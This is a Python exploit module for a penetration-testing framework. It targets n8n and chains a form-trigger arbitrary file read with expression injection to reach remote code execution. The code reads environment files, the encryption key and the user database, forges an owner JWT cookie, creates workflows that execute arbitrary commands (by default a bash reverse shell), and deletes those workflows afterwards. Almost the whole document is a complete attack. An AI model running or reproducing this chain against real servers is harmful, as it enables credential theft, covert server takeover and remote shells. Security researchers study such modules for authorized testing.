n8n Full Chain RCE (CVE-2026-21858 + CVE-2025-68613)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import hashlib
import json
import os
import re
import secrets
import sqlite3
import tempfile
import time
import urllib.parse
from base64 import b64encode

from kittysploit import *
from lib.protocols.http.http_client import Http_client

try:
    import jwt
except ImportError:
    jwt = None


class Module(Exploit, Http_client):
    __info__ = {
        "name": "n8n Full Chain RCE (CVE-2026-21858 + CVE-2025-68613)",
        "description": (
            "Chains arbitrary file read via public Form Trigger (CVE-2026-21858) to forge an "
            "n8n-auth owner JWT, then executes commands through either Execute Command workflows "
            "or expression evaluation (CVE-2025-68613). Note: some public PoCs mislabel this "
            "chain as CVE-2026-1357 (that CVE is WPvivid)."
        ),
        "author": ["Chocapikk", "KittySploit Team"],
        "cve": ["CVE-2026-21858", "CVE-2025-68613"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://github.com/Chocapikk/CVE-2026-21858",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-21858",
        ],
        "optional_dependencies": ["PyJWT"],
        "tags": ["n8n", "lfi", "jwt", "rce", "full-chain", "form"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 8,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    form_path = OptString(
        "/form/upload",
        "Form Trigger path (e.g. /form/upload or /form/<form_id>)",
        required=False,
    )
    read_path = OptString("", "Only read this file via LFI (no RCE chain)", required=False)
    output_file = OptString("", "Save read_path output to local file", required=False)
    command = OptString("", "Execute this command after full-chain auth bypass", required=False)
    rce_method = OptString(
        "execute_command",
        "RCE method after JWT forge: execute_command | expression",
        required=False,
    )
    lfi_mode = OptString(
        "auto",
        "LFI response mode: auto | direct | waiting_url",
        required=False,
    )
    cleanup = OptBool(True, "Archive/delete workflow artifacts after RCE", required=False)
    sleep = OptInteger(2, "Seconds to wait for form download / workflow execution", required=False)

    RCE_PAYLOAD = (
        '={{ (function() { var require = this.process.mainModule.require; '
        'var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
    )

    def __init__(self, framework=None):
        super().__init__(framework)
        self.admin_token = None

    def _path(self, p: str) -> str:
        val = str(p or "/").strip()
        if not val.startswith("/"):
            val = "/" + val
        return val

    def _randpos(self) -> list:
        return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]

    def _auth_cookies(self) -> dict:
        return {"n8n-auth": self.admin_token} if self.admin_token else {}

    def _api(self, method: str, path: str, **kwargs):
        kwargs.setdefault("timeout", max(int(self.timeout or 10), 10))
        if self.admin_token:
            kwargs.setdefault("cookies", self._auth_cookies())
        return self.http_request(method=method, path=self._path(path), **kwargs)

    def _lfi_payload(self, filepath: str) -> dict:
        return {
            "data": {},
            "files": {
                f"f-{self.random_text(6)}": {
                    "filepath": filepath,
                    "originalFilename": f"{self.random_text(8)}.bin",
                    "mimetype": "application/octet-stream",
                    "size": secrets.randbelow(90000) + 10000,
                }
            },
        }

    def _extract_waiting_url_bytes(self, html: str):
        match = re.search(r'const binary = "([^"]+)"', html or "")
        if not match:
            return None
        try:
            decoded_uri = urllib.parse.unquote(match.group(1))
            binary_obj = json.loads(decoded_uri.strip('"'))
            raw_payload = binary_obj.get("data", "")
            if not isinstance(raw_payload, str) or not raw_payload:
                return None
            return raw_payload.encode("latin-1")
        except Exception:
            return None

    def _read_via_waiting_url(self, filepath: str, timeout: int):
        lfi_path = self._path(self.form_path)
        response = self.http_request(
            method="POST",
            path=lfi_path,
            json=self._lfi_payload(filepath),
            headers={"Content-Type": "application/json"},
            timeout=max(int(timeout), 5),
        )
        if not response or response.status_code != 200:
            return None

        download_url = None
        try:
            download_url = (response.json() or {}).get("formWaitingUrl")
        except Exception:
            download_url = None
        if not download_url:
            return None

        # Absolute URL from formWaitingUrl — request by full URL via path if same host.
        parsed = urllib.parse.urlparse(str(download_url))
        wait_path = parsed.path or "/"
        if parsed.query:
            wait_path = f"{wait_path}?{parsed.query}"

        wait_resp = self.http_request(
            method="GET",
            path=wait_path,
            timeout=max(int(timeout), 5),
        )
        if not wait_resp or wait_resp.status_code != 200:
            return None
        return self._extract_waiting_url_bytes(wait_resp.text or "")

    def _read_via_direct(self, filepath: str, timeout: int):
        lfi_path = self._path(self.form_path)
        response = self.http_request(
            method="POST",
            path=lfi_path,
            json=self._lfi_payload(filepath),
            headers={"Content-Type": "application/json"},
            timeout=max(int(timeout), 5),
        )
        if response and response.status_code == 200 and response.content:
            # Prefer raw bytes; skip JSON waiting-page wrappers.
            ctype = (response.headers or {}).get("Content-Type", "")
            text = ""
            try:
                text = response.text or ""
            except Exception:
                text = ""
            if "formWaitingUrl" in text or "application/json" in ctype.lower():
                try:
                    body = response.json() or {}
                    if body.get("formWaitingUrl"):
                        return None
                except Exception:
                    pass
            return response.content
        return None

    def read_file(self, filepath: str, timeout: int = 30, retries: int = 1):
        mode = str(self.lfi_mode or "auto").strip().lower()
        for _ in range(max(1, int(retries))):
            try:
                if mode in ("auto", "direct"):
                    data = self._read_via_direct(filepath, timeout)
                    if data:
                        return data
                if mode in ("auto", "waiting_url"):
                    data = self._read_via_waiting_url(filepath, timeout)
                    if data:
                        return data
            except Exception:
                pass
            time.sleep(max(0, int(self.sleep or 0)))
        return None

    def get_version(self) -> tuple:
        response = self._api("GET", "/rest/settings", timeout=10)
        if not response or response.status_code != 200:
            return "0.0.0", False
        try:
            version = str((response.json() or {}).get("data", {}).get("versionCli", "0.0.0"))
            major, minor = map(int, version.split(".")[:2])
            return version, major < 1 or (major == 1 and minor < 121)
        except Exception:
            return "0.0.0", False

    def get_environ_map(self):
        data = self.read_file("/proc/self/environ")
        if not data:
            return None
        env = {}
        for var in data.split(b"\x00"):
            if b"=" not in var:
                continue
            key, value = var.split(b"=", 1)
            try:
                env[key.decode(errors="ignore")] = value.decode(errors="ignore")
            except Exception:
                continue
        return env or None

    def get_home(self, environ=None):
        env = environ if environ is not None else self.get_environ_map()
        if not env:
            return None
        return env.get("HOME") or None

    def get_key(self, home: str, environ=None):
        env = environ if environ is not None else {}
        key = (env.get("N8N_ENCRYPTION_KEY") or "").strip()
        if key:
            return key

        data = self.read_file(f"{home}/.n8n/config")
        if not data:
            return None
        try:
            return (json.loads(data.decode(errors="ignore")) or {}).get("encryptionKey")
        except Exception:
            return None

    def get_db(self, home: str):
        return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120, retries=3)

    def extract_admin(self, db_bytes: bytes):
        handle = tempfile.NamedTemporaryFile(suffix=".db", delete=False)
        try:
            handle.write(db_bytes)
            handle.close()
            conn = sqlite3.connect(handle.name)
            row = conn.execute(
                "SELECT id, email, password FROM user WHERE roleSlug = 'global:owner' LIMIT 1"
            ).fetchone()
            if not row:
                row = conn.execute(
                    "SELECT id, email, password FROM user WHERE role = 'global:owner' LIMIT 1"
                ).fetchone()
            if not row:
                row = conn.execute(
                    "SELECT id, email, password FROM user WHERE role LIKE '%owner%' LIMIT 1"
                ).fetchone()
            conn.close()
            return (str(row[0]), str(row[1]), str(row[2])) if row else None
        finally:
            try:
                os.unlink(handle.name)
            except Exception:
                pass

    def forge_token(self, key: str, uid: str, email: str, pw_hash: str):
        if jwt is None:
            print_error("PyJWT is required for token forging (pip install PyJWT).")
            return None
        secret = hashlib.sha256(key[::2].encode()).hexdigest()
        short_hash = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
        self.admin_token = jwt.encode({"id": uid, "hash": short_hash}, secret, "HS256")
        return self.admin_token

    def verify_token(self) -> bool:
        response = self._api("GET", "/rest/users", timeout=10)
        return bool(response and response.status_code == 200)

    def _build_expression_nodes(self, command: str) -> tuple:
        trigger_name = f"T-{self.random_text(8)}"
        rce_name = f"R-{self.random_text(8)}"
        result_var = f"v{self.random_text(6)}"
        payload_value = self.RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))

        nodes = [
            {
                "parameters": {},
                "name": trigger_name,
                "type": "n8n-nodes-base.manualTrigger",
                "typeVersion": 1,
                "position": self._randpos(),
                "id": f"t-{self.random_text(12)}",
            },
            {
                "parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
                "name": rce_name,
                "type": "n8n-nodes-base.set",
                "typeVersion": 2,
                "position": self._randpos(),
                "id": f"r-{self.random_text(12)}",
            },
        ]
        connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
        return nodes, connections

    def _build_execute_command_nodes(self, command: str) -> tuple:
        nodes = [
            {
                "parameters": {"command": command},
                "name": "Execute_Command_Node",
                "type": "n8n-nodes-base.executeCommand",
                "typeVersion": 1,
                "position": [250, 300],
            }
        ]
        return nodes, {}

    def _get_result(self, execution_id: str):
        response = self._api("GET", f"/rest/executions/{execution_id}", timeout=15)
        if not response or response.status_code != 200:
            return None
        try:
            data_blob = (response.json() or {}).get("data", {}).get("data")
            if not data_blob:
                return None
            parsed = json.loads(data_blob)

            # Prefer stdout pointer used by executeCommand node.
            stdout_pointer = None
            for item in parsed:
                if isinstance(item, dict) and "stdout" in item:
                    stdout_pointer = item.get("stdout")
                    break
            if stdout_pointer is not None and str(stdout_pointer).isdigit():
                value = parsed[int(stdout_pointer)]
                if isinstance(value, str):
                    return value

            for item in reversed(parsed):
                if isinstance(item, str) and item not in ("success", "error") and len(item) > 3:
                    return item.strip()
        except Exception:
            return None
        return None

    def _cleanup_workflow(self, wf_id: str):
        if not wf_id:
            return
        archive = self._api("POST", f"/rest/workflows/{wf_id}/archive", timeout=10)
        if archive and archive.status_code in (200, 201):
            time.sleep(max(0, int(self.sleep or 0)))
        self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=10)

    def rce(self, command: str):
        method = str(self.rce_method or "execute_command").strip().lower()
        if method in ("expression", "expr", "set"):
            nodes, connections = self._build_expression_nodes(command)
        else:
            nodes, connections = self._build_execute_command_nodes(command)

        wf_name = f"wf-{self.random_text(16)}"
        workflow = {
            "name": wf_name,
            "active": False,
            "nodes": nodes,
            "connections": connections,
            "settings": {},
        }

        create = self._api("POST", "/rest/workflows", json=workflow, timeout=15)
        if not create or create.status_code not in (200, 201):
            return None
        wf_id = ((create.json() or {}).get("data") or {}).get("id")
        if not wf_id:
            return None

        run_data = {
            "workflowData": {
                "id": wf_id,
                "name": wf_name,
                "active": False,
                "nodes": nodes,
                "connections": connections,
                "settings": {},
            }
        }
        run = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
        if not run or run.status_code not in (200, 201):
            if self.cleanup:
                self._cleanup_workflow(wf_id)
            return None

        execution_id = ((run.json() or {}).get("data") or {}).get("executionId")
        time.sleep(max(0, int(self.sleep or 0)))
        result = self._get_result(execution_id) if execution_id else None

        if self.cleanup:
            self._cleanup_workflow(wf_id)
        return result

    def check(self):
        version, maybe_vuln = self.get_version()
        if maybe_vuln:
            return {
                "vulnerable": True,
                "reason": f"n8n version {version} appears in vulnerable range (< 1.121.x)",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": f"n8n version {version} not in expected vulnerable range or undetected",
            "confidence": "low",
        }

    def _full_chain(self):
        environ = self.get_environ_map()
        if not environ:
            print_error("Failed to read /proc/self/environ via Form Trigger LFI")
            return False

        home = self.get_home(environ)
        if not home:
            print_error("Failed to extract HOME from /proc/self/environ")
            return False
        print_success(f"HOME: {home}")

        key = self.get_key(home, environ)
        if not key:
            print_error("Failed to obtain encryption key (env N8N_ENCRYPTION_KEY or ~/.n8n/config)")
            return False
        print_success(f"Encryption key: {key[:8]}...")

        db_bytes = self.get_db(home)
        if not db_bytes:
            print_error("Failed to download ~/.n8n/database.sqlite")
            return False
        print_success(f"Database downloaded: {len(db_bytes)} bytes")

        admin = self.extract_admin(db_bytes)
        if not admin:
            print_error("Failed to extract global owner from database")
            return False
        uid, email, pw_hash = admin
        print_success(f"Admin user: {email}")

        if not self.forge_token(key, uid, email, pw_hash):
            return False
        print_success("Forged n8n-auth token")

        if not self.verify_token():
            print_error("Forged token rejected by /rest/users")
            return False
        print_success("Admin access confirmed with forged token")
        print_info(f"Cookie: n8n-auth={self.admin_token}")
        return True

    def run(self):
        version, maybe_vuln = self.get_version()
        print_status(f"n8n version: {version} ({'likely vulnerable' if maybe_vuln else 'unknown/safe'})")

        if self.read_path:
            data = self.read_file(str(self.read_path))
            if not data:
                print_error("Arbitrary file read failed")
                return False
            print_success(f"Read {len(data)} bytes from {self.read_path}")
            if self.output_file:
                try:
                    with open(str(self.output_file), "wb") as handle:
                        handle.write(data)
                    print_success(f"Saved output to {self.output_file}")
                except Exception as exc:
                    print_error(f"Unable to save output file: {exc}")
                    return False
            else:
                print_info(data.decode(errors="replace"))
            return True

        if not self._full_chain():
            self.not_vulnerable()
            return False

        cmd = str(self.command).strip() if self.command else ""
        if not cmd:
            cmd = str(self.payload).strip() if self.payload else ""
            if not cmd:
                print_error("No command provided and payload generation failed")
                return False

        method = str(self.rce_method or "execute_command").strip().lower()
        print_status(f"Executing command via {method} workflow RCE...")
        output = self.rce(cmd)
        if output:
            print_success("RCE executed")
            print_info(output)
            self.vulnerable()
            return True

        print_warning("RCE trigger sent but no command output was retrieved")
        self.vulnerable()
        return True